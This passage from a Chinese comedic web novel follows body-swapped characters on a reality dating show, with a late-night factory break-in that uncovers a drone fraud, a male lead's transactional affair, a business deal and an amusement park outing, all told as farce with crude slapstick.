沈颐隐忍地握了握拳,瞬间红了眼眶:“霍导,您出身好,和我这种肮脏的私生子不同,您的起点就是我高不可攀的终点,这个拜高踩低的社会我只能被逼无奈地走上这条路,您……” “不要以为把猥琐的东西包装得伟大神圣,就能让你看起来清清白白。” 霍齐姣不耐烦地打断他,似笑非笑:“这个世界已经够爱你了,是你太废物。” 她把烟头掐灭,用脚碾了碾,往沈颐身上扔了张房卡。 “想清楚了就来,过时不候。” 海风从霍齐姣推开的门缝灌入,沈颐捏着那张房卡,犹豫片刻,咬咬牙追了上去。 恰好周悦甜被何孟理气得失眠,来客厅倒水时,从窗户里看到了两人一前一后上车的背影。 她心下一紧,感觉自己不小心发现了什么秘密,连忙拿出手机想拍照,可那两人却已经在海滩上消失不见了。 尽管没看清女人的样貌,但周悦甜十分肯定那个跟她上车的男人就是沈颐。 她犹豫不决地握着马克杯,喝了口水冷静冷静,出于同理心和人道主义,还是决定将这件事告诉阮绵绵。 周悦甜穿着拖鞋踢踢踏踏地来到阮绵绵房间前,大摇大摆地开始拍打房门,声音大得能震醒一栋楼的人。 阮绵绵此刻刚刚结束直播,脸上还挂着两条兰州拉面似的白色眼泪,满脸不耐烦地打开门。 她皱着眉头,语气很差地问:“有事?” 周悦甜舔了舔嘴唇,在心里准备了一下措辞,压低声音开口:“我刚刚在客厅,看到沈颐大半夜和一个女的上了车,走得挺近的,看起来不像是因为工作原因,气氛也不太对劲……” 大半夜把她叫醒就是为了这个? 阮绵绵没了耐心,联想到周悦甜之前的行为,冷哼一声,觑起眼睛不屑地睨着她:“你不会是喜欢沈颐哥哥才这么说的吧?挑拨离间?” 周悦甜一时语塞:“……” 哇塞! 对方拒绝了她递来的绿帽子,并向她扣了个屎盆子诶! 她竖起眉毛正要反驳,走廊上忽然出现了一道人影。 裴砚知二话不说地把周悦甜拽走,直接拽到她自己的房间前,把她往里一推。 周悦甜扒着门框怒吼:“你干嘛!” 裴砚知双手抱臂,居高临下地看着她,冷声说:“你是不是觉得,只要你大声说话就能把脑子里的水甩出来? “我!” 裴砚知忍着怒气,指着屋内的方向,面无表情道:“滚进去,然后闭上嘴和眼睛,睡觉,别让我再说第二次。” 说完便把门一关,潇潇洒洒地离开了现场。 别墅里的其他男人都贴着门板偷偷听着吵架,其实他们一开始就被吵醒了,却没人愿意出头,一个个比老乌龟还怂。 现在问题解决,众人也安安心心躺回了被子里,手机忽然一震。 点开弹窗,裴砚知终于发布了今天的怦友圈,把除了吴笑希外的每一个人都@了一遍,留下一段暖心的文字: 【血殇·女帝:小时候,你们的妈妈是不是在家等雨停了再抱你们去医院的?】 啥意思? 何孟理点开和江简哲的聊天框,一头雾水地问:“乔缨在骂谁啊?” 江简哲薄唇轻启,按下语音键,发出一道刘欢式的颤音:“我~和~你~” 第80章 第八十章 怦然心动团我们喜欢你 凌晨一点, 万籁俱寂,乔缨盯着不远处大门紧闭的厂房,若有所思。 贺晓口中即将和卿安植业合作的对家公司便是这里, 原本名不见经传,却在几个月前异军突起, 打着平价版昭星的旗号大肆营销,还在网上找水军抹黑昭星的产品。 一套歹毒的商战打下来, 终于在客户发现他们生产的无人机都是空壳子后才消停。 所以乔缨十分不理解司逸为什么选择和这家公司合作, 出于好奇,从餐厅出来后她便径直来到了这里,想要一探究竟。 厂房的外观看起来很高大上,可仔细观察就能发现,这里没有保安, 没有监控, 只有一堵高高的围墙。 外表唬人,实则根本不像是一个正规企业的生产基地。 乔缨站在围墙下, 估量着高度,活动手脚, 三两下便翻了进去。 一声落地的闷响在黑夜中消散, 她蹲在草丛里观察了片刻,确定周围没有人后才蹑手蹑脚地朝正门走去。 她做贼似的左顾右盼, 经过拐角处,余光隐隐瞥到对面的拐角好像有个鬼鬼祟祟的人影突然蹿了出来。 不会吧?拐角遇到爱啊? 躲是来不及躲了, 乔缨僵硬地转头, 和一个偷感同样重的人猝不及防对视上,一时之间竟有种闯空门遇到同行的尴尬感。 乔缨抹了把头发,率先开口:“今天的月亮可真圆啊, 哈哈。” 对面沉默了两秒,指指头顶上朦朦胧胧的新月,问:“你要不要去挂个眼科?” 听声音,对方是个女人,和乔缨一样戴着鸭舌帽和口罩,露出来的眉眼莫名有种熟悉的感觉。 乔缨疑惑地盯着她看了一会儿,对面那人却没再搭理她,在兜里掏了两下,拿出了两截极细的铁丝,精准无比地插入到大门的锁孔中。 女人的神情专注了起来,修长手指轻轻拨弄着铁丝,姿势专业得像干了十年的熟练工。 几秒钟后,伴随着“咔嗒”一声脆响,长锁解开,大门露出一条漆黑的缝隙。 她收起铁丝,利落地推开大门,对乔缨扬扬下巴:“你进不进?不进就别杵在这里碍事。” “进,进。” 乔缨目瞪口呆地跟在她身后,感觉自己像是在玩什么小偷模拟器的游戏,甚至还是联机版,随机匹配上了一个队友。 寂静阴森的空间里,刺耳尖锐的推门声幽幽回荡,漆黑一团的室内隐隐有几道辨不清形状的黑影,呛人的味道在空气中弥漫。 女人打开手电扫了一圈,厂房内推着一大堆破铜烂铁,闲置的机器设备已经落了灰,看起来已经很久没有使用过了。 她发出一道意味不明的低笑,啧啧摇头:“我就知道,这些骗人的玩意儿。” 乔缨打开角落里为数不多的几个还称得上干净整洁的纸箱,里面分门别类装着一些不知从哪儿批发来的零部件,看起来非常粗制滥造。 她一言难尽地扭过头,对女人疑惑地问道:“姐,你要偷的东西就是这些?好歹偷点光缆呢,这破铜烂铁的值什么钱?” “谁说我是来偷东西的?” 女人诧异地瞪了她一眼,逼近几步,语气逐渐变得危险:“喂,难道说你是来偷东西的?” 看起来不像吗? 乔缨迷惑地张了张嘴,正要说话,门外忽然传来几道脚步声。 一个男人说道:“哎,怎么锁是开的?” 另一个声音更为粗犷的男人回答:“别管了,咱们赶紧把东西搬出去,明天签完合同就能走人了。” 说罢,他便伸出手推开大门,在暴露的前一秒,女人拽着乔缨躲到了机器后的视野死角,眼睛死死盯着刚刚进屋的两个男人。 他们打开那几只纸箱,一边核对一边聊天,不大不小的声音在空旷的厂房里回荡。 从交谈的内容里,乔缨终于拼凑出了事情的真相。 这家公司自打上次的空壳事件后就一蹶不振,老板痛定思痛,重金聘请了一位战略专家,经过提点后,决定铤而走险干一票大的。 他先是购买了一批昭星的无人机,然后加上一层外包装当作自己的产品,免费送给各大种植企业试用七天。 如果没有人上当,他便拆下外包装把 这批货按七天无理由退回去,而如果有人上当了答应和他签合同,他就把东西替换成自家的假冒伪劣产品,交付给对方,捞完钱就跑。 听这两个男人的意思,明天就是卿安植业试用的最后一天,司逸似乎对他们很满意,所以他们便提前来了厂房清理东西,早早做好跑路的准备。 “这个司逸是个傻子的吧?” 乔缨忍不住腹诽,丝毫没注意到身旁人越来越黑的脸色。 忽然间,趁着两个男人背过身数东西的间隙,女人冷不丁地站了起来,就这么大摇大摆地从正门走了出去。 乔缨被她的动作吓得太阳穴突突直跳,见对方没有带上自己一起离开的打算,只能猥猥琐琐地苟在地面,在男人眼皮子底下像只大型蜥蜴一样爬了出去。 漆黑一片的街道上,早已没了女人的身影,她只能拍拍身上的灰,骑上停在路边的小电驴,慢悠悠地回了酒店。 刚一进大堂,就看见沈颐萎靡地走了出来,脸色颓败苍白,像是经历了什么震碎他世界观的事情,整个人透着一股淡淡的死意。 乔缨和他擦身而过时还闻到了一股香水味,她透过反光的背景墙默默观察,发现沈颐走路姿势也十分怪异,一瘸一拐,极其不协调,宛如刚刚驯服了四肢的动物。 他这个点儿不应该在海滨别墅睡大觉吗? 伪人,绝对是伪人。 手臂上冒出一片鸡皮疙瘩,电梯门一开,乔缨就忙不迭地钻了进去,生怕被伪人版的沈颐发现。 “叮咚”一声响,电梯停在了三层的酒吧,几个体格健壮的外国女人站在门外,而跟在最后的是一名本国的中年妇女,见到她后微微点头打了个招呼,随后站进电梯里用英语低声聊着天。 一个金发女人意犹未尽地咂咂嘴巴,说道:“霍小姐,这次这个非常不错,皮肤很白,还一点体味都没有,我喜欢。” 另一个人也插话道:“是啊,我还给了他八百欧的小费呢!” 霍齐姣笑笑:“觉得不错就行,喜欢那就下次再约出来,他没什么工作,时间很充裕。” 此话一出,几人立即发出了标准的富豪笑声,连连称赞:“哈哈哈,还是霍小姐上道,我们这次很满意,合作的事,我们一定会好好考虑。” 乔缨心不在焉地听着,本以为她们说的是哪个男模,却忽然发现了一件不得了的事情———这几个女人的香水味,和沈颐身上的一样。 真是好大一个惊喜! 沈颐作为一个集齐万千宠爱于一身的言情文男主,居然走上了这条意料之外的道路。 乔缨震惊了,还真是老话说得好,男儿何不卖吾沟,赚取盎撒八百欧啊! 与此同时,被当作礼物送给外国女人糟蹋的沈颐只能趴在汽车后座上,忍着痛,流下屈辱的泪水。 算了,霍齐姣答应过要给他综艺和电影的资源当作补偿,他是为了事业在卧薪尝胆!他绝不会承认这只是一场权色交易! 火辣辣的疼痛让他绷紧了下颌线,回到别墅塞下几颗止痛药,沈颐悄无声息地走进了房间里。 他打开花洒狠狠冲刷着身体,可那热水器左拧一度能挂霜,右拧一度能炼钢,他烦躁地一把扔下花洒,当作一切都没发生过似的埋进了被子,昏昏沉沉地睡去。 这晚,他做了一个梦。 梦里的他还是那个众星捧月的影帝,是家世显赫的沈家太子爷,女人迷恋他,男人崇拜他,所有人见了他都得毕恭毕敬。 他知道自己是小说里的男主角,是被造物主眷顾的幸运儿,连女主都是他的陪衬,整个世界都围着他转。 沈颐在梦中过得肆无忌惮,然而画面一转,一把黑洞洞的枪口抵上了他的心脏,梦境破碎,一切都戛然而止。 意识消散前,他想伸出手触碰那人的身体。 可他什么也没抓住。 — 第二天,海滨别墅的嘉宾们是被一阵喧闹的音乐声吵醒的。 为了配合阮绵绵团队昨晚的卖惨直播,节目组决定凸显一下恋综的团魂,于是连夜编出了一首团歌,一大早就开始扰民。 只听广播里在欢快地唱着:“怦然心动团我们喜欢你~我们喜欢周悦甜,乔缨,吴笑希;怦然心动团我们喜欢你~江简哲,阮绵绵,沈颐,何孟理……” 这般开幕雷击直接让直播间的观众愣在了原地: 【憋笑挑战吗?这期有点难。】 【这歌写得像史铁生的三分之一,史。】 【这团魂凹得比沈颐的下颌线还刻意。】 【你们太让我失望了!! 我宣布今天没有超次元新星产生!】 幸运的是,今早的沈颐没有精力再去厨房折腾,所有人难得吃了一顿安安心心的早餐。 见沈颐兴致不高,没有半点搭理自己的心思,阮绵绵委屈地嘟起嘴,拉着他的衣袖撒娇道:“沈颐哥哥,你为什么不理绵绵?你不是说要给我宝宝碗的吗?” 沈颐撩起眼皮瞥她一眼,第一次觉得阮绵绵怎么这么聒噪。 屁股到现在还是痛的,甚至因为剧烈摩擦,他感觉消失已久的痔疮也卷土重来,有种难以启齿、非常奇怪的感觉。 他竭力掩下自己的异样,将阮绵绵冷落在一旁,若无其事地吃着早餐。 客厅的电视屏幕再度亮起,开始公布昨天所有人的评分: 乔缨、沈颐10分,周悦甜9.5分,阮绵绵、江简哲8分,吴笑希2分,何孟理、段羡秋0分。 喜提倒数第一的两个人脸都气红了,尤其是何孟理,瞪着周悦甜半天说不出来一句话。 PD又一次出现,开始公布今天的日程,称今天将以分数高低来进行组队,在草坪上拍摄情侣照,随后去南岛最富盛名的游乐园约会。 阮绵绵提前知道这件事,虽然不能和沈颐一组,但今天她的主要任务是要在镜头前装憔悴,刚刚那句宝宝碗已经算ooc了,不能再继续错下去。 反而是弹幕对这个安排颇有微词,毕竟按照排名,阮绵绵一个8分的居然只能从两个0分男中挑一个出来,一阵唏嘘。 【恋综也来低分录取那一套?】 【为什么要强行配对啊,让这俩男的凑一块得了呗。】 【段羡秋有点冤枉了,罪不至此啊。】 今天的拍摄主题是清凉一夏,工作人员在草坪上布置出一块场地,粉色的气球和白色羽毛穿插在一起,侧方摆着一只泡泡机,氛围很浪漫。 更衣室的衣服大多都是比基尼,很显然节目组的真实想法是拍出火热激情的summer love。 裴砚知站在镜子前,用手轻轻抚摸了一下腰上的伤痕,略过那一排布料清凉的泳衣,转而拿起一件挂在角落里的衣服。 作为第一对拍摄的情侣,网友们深知沈颐和乔缨的关系有多水深火热,都抱着看乐子的心态等在直播间里。 很快,镜头里出现了第一个人。 为了遮盖住富婆们昨晚在他身上留下的痕迹,沈颐穿着一套西装,把自己严严实实包裹了起来。 【纯路人,这个男嘉宾挺帅的啊。】 【沈颐,是叫沈颐吧?他的Prada还没掉吗?】 【楼上也挺清凉的,演点好的吧。】 摄影师挠头尬笑:“这……沈老师能说说为什么会选这一套衣服吗?” 沈颐神色自若地答:“我认为,心静自然凉,清凉不是一种穿衣风格,而是一种生活态度。” 摄影师似懂非懂地点点头,又问:“那您猜测乔老师会穿什么样的衣服出现呢?听说两位是青梅竹马,一定对彼此很了解吧?” 了解个屁,乔缨怕是恨不得杀了他。 想起了沈万钧的嘱咐,他此时只能硬着头皮胡扯:“乔缨很喜欢金属乐,大概是朋克风格的吧,比如说铆钉啊,亮片啊,或者是绑带 bandage,还有蕾丝,这些元素其实是 glam rock,然后加这种 bling的感觉……” 话音未落,一道人影出现在众人面前。 热浪滚滚,水汽蒸腾,裴砚知穿着一件沾有血迹的白色纱裙,一头长发披散,手里还拎着一把生了锈的柴刀。 好像那个伽椰子。 “乔……乔老师,您这是?”摄影师惊魂不定地问。 “哦,刚刚拍死了一只老鼠。” 裴砚知把柴刀往 沈颐脚下一扔,不解道:“怎么了,我这打扮难道不清凉吗?” 摄影师哆哆嗦嗦地点头。 确实挺清凉没错,但他爷爷的这也太清凉了吧! 80-88 第81章 第八十一章 巴盟最猛贩猪人刘全 灼热耀眼的太阳高悬, 金光万缕,明亮而潮湿的蓝色在眼里流动,海风吹拂, 端的是一派清新舒适。 可草坪上却是一片肃杀之气。 裴砚知穿着一身染血白衣,一只手拿着把泡泡枪, 表情坚毅得仿佛拿了把加特林,气势汹汹追逐着前方的沈颐。 整个画面诡异得像是伽椰子刚学会了热武器, 然后拿去害人一样。 快被西装捂到中暑的沈颐面色铁青, 明明拍的是在阳光下奔跑的慢镜头,他却有种一旦被乔缨追上就会被杀掉的错觉。 他咬紧牙关死命奔跑,内裤的布料摩擦着伤处,他一度感觉痔疮就快要破了,甚至连呼吸都开始颤抖起来, 竟隐隐有种想一头栽进海里一了百了的冲动。 风景如画的沙滩上, 两人就跟永动机似的越跑越快,不知疲倦。 最终, 这场漫长的追逐战以沈颐被礁石绊倒而划上句号,在众人心惊肉跳的目光下, 他匍匐在地面, 朝摄影师颤颤巍巍地伸出了手。 沈颐吐了一口嘴里的沙子,虚弱道:“可、可以了吗……” “呃, 这个……” 摄影师看着相机里拍下来的素材,一时没想好该怎么回答。 他的本意是想拍出一种小情侣在沙滩上嬉笑打闹的感觉, 但面前这俩人吧…… 有点像离别, 有点像重逢,有点像卖保险的无辜市民随机被变态杀人狂盯上的惊悚。 摄影师思索片刻,提议道:“嘶……要不你俩增加点肢体动作呢?比如说手牵着手这样?” 裴砚知听罢, 动作利落地把沈颐的两只手反剪在背后,用泡泡枪抵住他的后脑勺,问:“这样?” 摄影师:“……” 现在像精神病刚杀完人,在逃跑路上随意拽了一个卖保险的当人质。 不得不说,还挺有故事感,也不是不能用。 他拿起相机咔嚓咔嚓拍了几张,沈颐只感觉心里的燥意越来越重。 他不能朝乔缨撒气,又有霍齐姣撑腰,干脆不耐烦地推了摄影师一把,突然罢工似的离开了现场,选择回别墅吹空调。 工作人员面面相觑,都觉得莫名其妙。 好在之后的拍摄很顺利,连段羡秋和吴笑希这对互给低分的二搭组合都配合得十分默契,丝毫没有撕破脸的尴尬。 这破工作终于要结束,摄影师将段羡秋和吴笑希的手掌交叠在一起,扛着相机,像哄幼儿园小朋友似的说道:“哎,就是这种感觉,来两位老师跑起来,别这么严肃,笑一笑。” 慢镜头中,两个人表情浮夸地跑了起来,吴笑希一边“啊哈哈”地笑,段羡秋一边“啊哈哈”地追,没有感情,全是技巧。 【俺不中了,人怎么能做作成这样?】 【跑出了一种吃霸王餐逃单的感觉……】 【这是要跑去湘菜馆还是川菜馆?】 拍完照,时间很快就到了出发去游乐园的时候。 阮绵绵举着小镜子左照右照,确保今天的憔悴妆完美无瑕,没有用香奈儿果冻气垫,也不会脱妆后,对着镜头外的工作人员点了下头。 工作人员立即在直播间里进行操作,为了营造有很多粉丝关心阮绵绵的假象,特意设置了两句领红包的口号。 于是一开播,满屏幕都是意味不明的弹幕: 【发生什么事了?】 【我们支持绵绵!】 【发生什么事了?】 【我们支持绵绵!】 …… 效果很好,阮绵绵松了口气,朝直播间露出一个表演痕迹十足的苦笑: “大家,不要再问我发生了什么事了,春风十里,不如取悦自己,姐妹们永远记住,当你在高处的时候,一定要擦亮自己的眼睛,看清身边的是人是鬼……” 一旁的何孟理不明就里,还以为阮绵绵那句“是人是鬼”的话是在骂他,立马拉下来一张驴脸,从鼻子里哼出来一道山路十八弯的气音。 前排的江简哲惊悚地左右摆头查看,大声嚷嚷:“卧槽,我们车上怎么有牛在叫?” 一片嘈杂声中,工作人员用对讲机问了一个出发前的小问题:“大家对今天的约会行程安排还满意吗?可以说说评价,大胆一点,不要害羞。” 裴砚知挑眉:“我能说脏话吗?” 工作人员尬笑:“不能哈。” “哦。” 他语气冷了下来,扭头看向窗外,兴趣缺缺地回:“那我没什么好说的。” — 在总统套房一觉睡到自然醒,乔缨站在窗前伸了个懒腰,怅然地望着海面叹气。 她真的非常讨厌夏天,黏黏糊糊,又晒又热,一点也不清爽。 比起南岛,她倒宁愿回京市吹那又干又燥的冷风,至少能让人安下心来,不那么浮躁。 还好卿安植业的人已经松口答应合作,或许是昨晚仓库的事情传了出去,司逸和她约了上午在某个咖啡厅见面详聊。 司逸这个人真的很神秘,乔缨至今都不知道这人是男是女、长什么模样,所以对今天的见面抱有十足的好奇心。 收拾完毕后,她带着文件坐上酒店提供的轿车,一路直奔目的地而去。 南岛没有地铁,各色各样的小电驴在马路上神出鬼没、横冲直撞,好几次险些撞到人,全都被司机师傅七扭八扭地避开了去。 乔缨扒拉着安全带,被车技折服,忍不住喟叹道:“师傅,你这车开得挺溜啊,这都能钻过去!” 司机师傅性格很开朗,张口就是一阵豪放的大笑:“哈哈哈哈哈哈!我可是南岛小泥鳅!知道不!哈哈哈哈哈啊———” 他笑着笑着,突然打了个哈欠,然后发现自己的下巴竟然合不上了。 他“啊巴啊巴”地张着嘴,发出一道含混不清的声音,朝后视镜的乔缨使劲眨了眨眼睛,落下两滴晶莹的泪水。 乔缨摸不着头脑,问:“怎么了师傅?你怎么不笑了?” 她感觉有些不太对劲,从后座伸直了身体往驾驶座上一看,只瞧见了一个如芒果般高高翘起的下巴。 我去,朱元璋! 在乔缨震惊的眼神里,司机五官乱飞,指了指自己,又指了指方向盘,呜呜啊啊了几句,面露恳求。 于是场面一瞬间两级反转,司机爬进了后座,乔缨坐上了驾驶位。 她凭借着裴砚知对于开车的肌肉记忆,一路磕磕巴巴地把司机拉去了医院。 下了车,乔缨深吸一口气,擦去掌心因紧张而渗出的汗水,一屁股坐到树荫下的长椅上。 接触到长椅的第一秒她就有种不详的预感。 乔缨僵硬而缓慢地抬起屁股,用手摸了摸,果不其然摸到了一手的红色油漆。 人怎么可以倒霉成这样。 她双目无神地盯着树荫看了半晌,恍然惊觉自己已经赶不上和司逸见面了,拿出手机字斟句酌地编辑了一条道歉短信。 几步之外,收到短信的司逸松了一口气。 南岛没有地铁,她这次也没带司机,更没用过打车软件,所以她准备坐公交车去赴约。 坐了没几站,公交车上来了个老太太。 作为一名三好青 年,司逸抬起屁股想给老太太让座,推拉谦让了几个回合,老太太终于肯接受她的好意,直夸她“好孩子”。 司逸差点被哄成胚胎,结果刚站起来没几秒,司机一个急刹———她坐老太太腿上了! 还差点给人坐骨折! 幸好老太太是个讲道理的,将人送到医院后只让她赔了点医药费,然后就跟送瘟神似的把她送出了病房。 本以为今天是她失约在先,没想到裴砚知这边也出了状况,他俩还真是有点诡异的缘分。 司逸收起手机,向不远处的长椅走去,上面坐着一个帅哥,看起来很是忧郁。 她自来熟地问道:“帅哥,怎么了?为什么看起来这么悲伤?” 帅哥虚虚拍了拍长椅,惆怅道:“坐下来,我跟你慢慢讲。” 司逸眨眨眼,一无所知地坐在他身旁,侧头疑惑地看去。 帅哥两眼望天,轻启薄唇,空中飘来一句支离破碎的话: “长椅刷漆了。” “……” 啊啊啊啊啊我要杀了你! 司逸愤怒地瞪着乔缨,两个人就这样被封印在长椅上,一起对着天空叹气。 一个地中海矮子男从两人面前路过,在看到司逸后像个地球仪似地转了一圈,挺着大肚腩,油油腻腻地上下打量她一遍。 他用手摸了摸歪着嘴的下巴,半边眉毛一挑,轻浮地向她抛了个媚眼:“美女,你有对象吗?” 生无可恋的司逸眼皮都没抬一下:“克死过几个,怎么了。” 大肚腩贼眉鼠眼地凑近,口若悬河地开始了演讲:“没事我就问问,曾经有个算命的大师告诉我,我将会在医院遇到我的真命天女。” “她贤惠、孝顺、不拜金,会在我困难、失望的时候雪中送炭,会陪我从士兵变成将军,贤妻扶我凌云志,我等了这么多年,终于等到了哈哈哈。” 司逸板着脸语气淡淡:“那他有帮你算一下你几岁死吗?” 乔缨听不下去了,打开视频软件播放了一段广告:“巴盟最猛贩猪人刘全!有猪你就报,是猪我就要,电话一响我就到!请记住我的唯一联系方式:3378,45818———” 当即,一个高大威猛的中年男子风风火火地从旁边蹿了出来,吼道:“我就是刘全!谁在叫我!” 他在看到大肚腩后眼睛猛然一瞪,脸色瞬间黑得跟锅底似的,抄起遮阳伞就冲了过来,一把揪住大肚腩的衣领子。 “好啊叶老南,我找你找了七年,你装病欠钱不还然后来医院骚扰人小妹妹是吧?幸亏老子提前来蹲点来了,要不然今天还他爷爷的逮不到你!” 大肚腩被拽得一个踉跄,身体失去平衡跪趴在了地上,连连求饶:“哥,哥!我就不耽误你第八年了!我跟你走,我跟你走!” 刘全一把揪住他的头发,桀桀桀地笑了起来:“你最好是,别给我耍什么小花招!” 他把遮阳伞塞到大肚腩屁股里再打开,一阵惨绝人寰好似杀猪的声音顿时响彻云霄,余音绕梁,不绝于耳。 随后,刘全向乔缨和司逸敬了个礼,语气真挚:“谢了啊,小伙子,大妹子!下回来巴盟,叔请你们吃全猪宴!” 然后便拖着口吐白沫的大肚腩举重若轻地走了,道路上只留下两只猪蹄在地面上拖行而过的痕迹。 事了拂衣去,深藏功与名。 司逸被这荒诞喜剧片一样的乱入震撼到,可身旁的人却好像习惯了似的,无波无澜,云淡风轻。 她盯着乔缨的脸看了半晌,越看越微妙,语气疑惑:“你好眼熟,你给我一种亲切感……” 乔缨面无表情地打断了她的话:“对啊,我俩昨晚还一起翻过围墙呢,同行。” 第82章 第八十二章 你好,这里不让睡觉…… 阳光穿过树叶的缝隙, 照在司逸略显迷茫的脸上。 她皱眉凝眸,她扶额沉思,她一拍大腿, 道:“是你啊,穿上衣服我都不认识你了!” 乔缨:“?” “我是说, 你昨天包得跟个悍匪一样,今天换了身正常衣服我都不认识你了。” 司逸不紧不慢地解释了一句。 你才更像悍匪吧? 乔缨看着她的打扮, 没好意思出声反驳。 司逸的皮肤是很健康的小麦色, 浅色的短发被阳光晒后显得金灿灿的,眉眼凌厉深邃,像一头皮毛美丽的小豹子。 明明是黑皮辣妹的长相,但总给她一种很强烈的即视感。 尤其是在昨晚的月光下,司逸没有任何妆容修饰的脸, 被清晰地勾勒出了轮廓。 乔缨看着, 脑子里似乎有个呼之欲出的答案,却在她试图抓住思绪时转瞬间消失不见。 仿佛梦中人突然出现在现实里的那种, 似真似假的虚幻感。 事情发展到现在,一番沟通交流下, 两人也猜出了对方的身份, 互换过名片后干脆就近找了家奶茶店,三下五除二就谈好了项目。 “幸好我把公章别在裤腰带上了。” 司逸喝了一口柠檬水, 在腰上左摸摸右摸摸,然后掏出来一个大公章, 往合同上盖了一个鲜红的戳。 门外的雪王正在和隔壁家的吉祥物打架, 乔缨挖起一勺冰淇淋塞进嘴里,唏嘘不已:“你好特别,你和我认识的继承人都不一样, 你给我一种不好说的抽象感。” 比如说傅司宴这种人,别说进店了,他大概连误喝一口蜜雪冰城都会大喊大叫地去医院洗胃,生怕被毒死。 司逸笑笑:“你和我想的也不一样。” 她之前拒绝和裴砚知见面,除了她妈司琳的因素外,一半是因为怀疑昭星和昨天那几个人是一伙的,一半是因为懒得和人应酬。 作为一名农学生,比起人,她还是更喜欢和泥土打交道。 听司逸这么说,乔缨也颇有同感地点点头。 同属传统行业,她以前偶然去过几次乔家谈生意的酒局,闻二手烟也好,轮番敬酒喝到吐也罢,总之整个包厢都乌烟瘴气臭烘烘的,让她很不舒服。 “所以我现在谈生意就让人把酒换成椰奶和柠檬水,不准抽烟,不准说废话,谁不答应谁就别想签合同。” 司逸咬着塑料吸管,饶有兴致地看着乔缨,悠悠道:“我还以为像裴总这样心高气傲的人忍受不了这种胡闹,没想到你还会半夜三更的翻围墙。” 乔缨心虚地别开眼睛,故作高深地说:“你没想到的事情还有很多。” 比如说浇发财树和偷公章。 难得遇到一个投缘的人,司逸本就是个自来熟的e人,她聊着聊着忽然眼睛一亮,道:“这样,为了赔罪,我请裴总去游乐场玩吧?” 虽然不知道她是出于什么心理,来邀请一个狂炫酷霸拽的霸总去游乐场玩,但乔缨仍然难掩兴奋地睁大了双眼。 她好奇地问:“那个亚洲最大的过山车是不是在这里?” “对对对,我早就想去了!” 司逸激动不已地伸出一只手掌:“我特别喜欢失重的感觉,尤其是俯冲下降的时候,心脏好像有股激流在涌动,很刺激!” “是是是,我和你一样!” 乔缨热血沸腾地和她碰了碰拳:“然后我去医院做了心脏彩超,发现是三尖瓣关闭不严。” 司逸:“……” 她脸色一僵,迟缓地收回了手掌,狐疑道:“老实说,你不会是我妈的私生子吧?” 否则他们为什么会这么像? — 因为是工作日,今天游乐园的人不算太多,几乎每个项目都不需要排队。 乔缨过完安检,站在梦幻城堡的大门前,内心一阵感慨。 尽管她是个恶毒女配,但在她还不是毒妇的时候,小小的恶毒女配也曾经有过一颗憧憬游乐园的童心。 小时候因为乔家这群烂人的欺压,她就只能靠着电视广告想象自己和朋友一起去游乐园玩的场景,然后越想越生气。 ———笑死,她根本就没有朋友。 乔缨摩挲着下巴,沉思道:“所以,我原来是因为这个才黑化的?” “什么黑化?” 司逸一头雾水地问,从工作人员手里接过代步车的钥匙,坐上驾驶位跃跃欲试。 “没什么。” 乔缨小心翼翼地坐到她身后,看她这明显没有接触过机动车的架势,语气怀疑:“你能行吗?” 司逸亮出一排洁白的牙齿,朝她竖起一个大拇哥,拍着胸脯保证:“我开车,你放心。” 烈日当空,司逸的头发闪得像某种反光的玻璃纸,空气里弥漫着爆米花和棉花糖的香气,一切看起来都无比美好和梦幻。 然后她一脚油门,车发射出去了。 又一脚刹车,把乔缨发射出去了。 乔缨拍拍屁股上的灰,狼狈地从地上爬了起来,一把捏住了司逸命运般的后脖颈,将她重新塞到了后座上。 “你叫司逸,不叫司机。” 她说得咬牙切齿:“玩去吧,开车的事我另有安排。” 按照地图,乔缨驾驶着代步车在园区辗转腾挪,开出了F1的架势。 行驶半晌,终于停在了那座著名的过山车前,驻足观赏了片刻。 周遭的惨叫声不绝于耳,从过山车下来的人个个脚步虚浮、面色苍白。 一个大爷看着过山车上尖叫的人,站在人群中央乐呵呵地开始当起了解说员。 “哦呦呦呦,这年轻人,卧槽,卧槽!” “哎这大转弯,俩腿耷拉着,也不兜着点儿,卧槽!” “哎呦哎呦,这还带一个卷麻花儿,卧槽!” 一声一声的“卧槽”,听得乔缨心里一紧。 嘴上口嗨是一回事,到了现场亲眼看见这些九曲十八弯又是一回事。 感觉坐上去就是人在前面跑,魂在后面飘。 她强装镇定,故作轻松地问司逸:“呵呵,这过山车看起来很一般啊,也不怎么刺激,你真要去坐?” 司逸斜她一眼,看穿了伪装,笃定道:“你怕了。” “呵呵,谁怕了?” 乔缨昂首,若无其事地继续嘴硬:“我是怕你待会儿吓得厥过去,在你妈妈死对头的儿子跟前丢了面子,我不好交代。” 司逸听她絮絮叨叨狡辩了半天,忍耐到了极限,实在看不下去了,大手一挥:“你玩我给你五百块。” 乔缨立马结束了唠叨,果断答应:“好的,姐。” “啊?你还真要啊?” 司逸被她的变脸速度惊到,发觉自己好像是上当了,当即一个肘击,被乔缨灵活地躲了过去。 打打闹闹下,不到几分钟的时间,乔缨和司逸就站到了第一排,挨个儿进了过山车。 两个犟种谁也不服谁,愣是梗着脖子坐到了最恐怖的最后一排,可实际上脚都快抖成了筛子。 临上阵,眼见着就要真刀真枪地干了,一直强压着害怕的司逸陡然生出一股后悔。 她也顾不得什么面子不面子了,抓着乔缨的手臂惊恐道:“裴总,咱们要不然下———啊———” 司逸的声音陡然变了调,乔缨只感觉有股巨大的力量在拽着她上西天。 然后她惊奇地发现,这和预想中的不同,好像并没有想象中的那么刺激诶? 有了这个发现,乔缨一只手撑着脸颊摆pose装逼,任凭狂风将她的发型吹成了大背头,像女王巡视封地一样睥睨天下。 忽然间,一种强烈的失重感把她这只在蓝天下翱翔的雌鹰扯下了云端,她像被折断天使的翅膀一样跌落凡尘。 惊慌之际,乔缨下意识开始表演型人格大爆发。 她做作地张开双臂迎风招展,好似雏鸟展开翅膀,又好似娟子打哈欠一般硬凹着松弛感。 可刚一开始松弛,过山车突然开始加速俯冲,前座的人头发丝被吹进嘴里,糊了她一脸。 肌肉瞬间绷紧,这该死的推背感差点推得乔缨灵魂出窍。 风吹得脸有点麻,乔缨死死握住横杆,像个深情隐忍的漫画主角一样紧咬着腮帮子,偷感很重地皱眉沉思。 然后又像是深情隐忍的漫画主角目睹相方出轨现场一样心情复杂,纠结、麻木,以及恨到深处却无法控制的爱慕,还有种想给这个世界一电炮的冲动。 想死,但又知道自己死不了。 想吐,但灵魂放空的状态又很奇妙。 再一次行至最高点,四周的尖叫声此起彼伏。 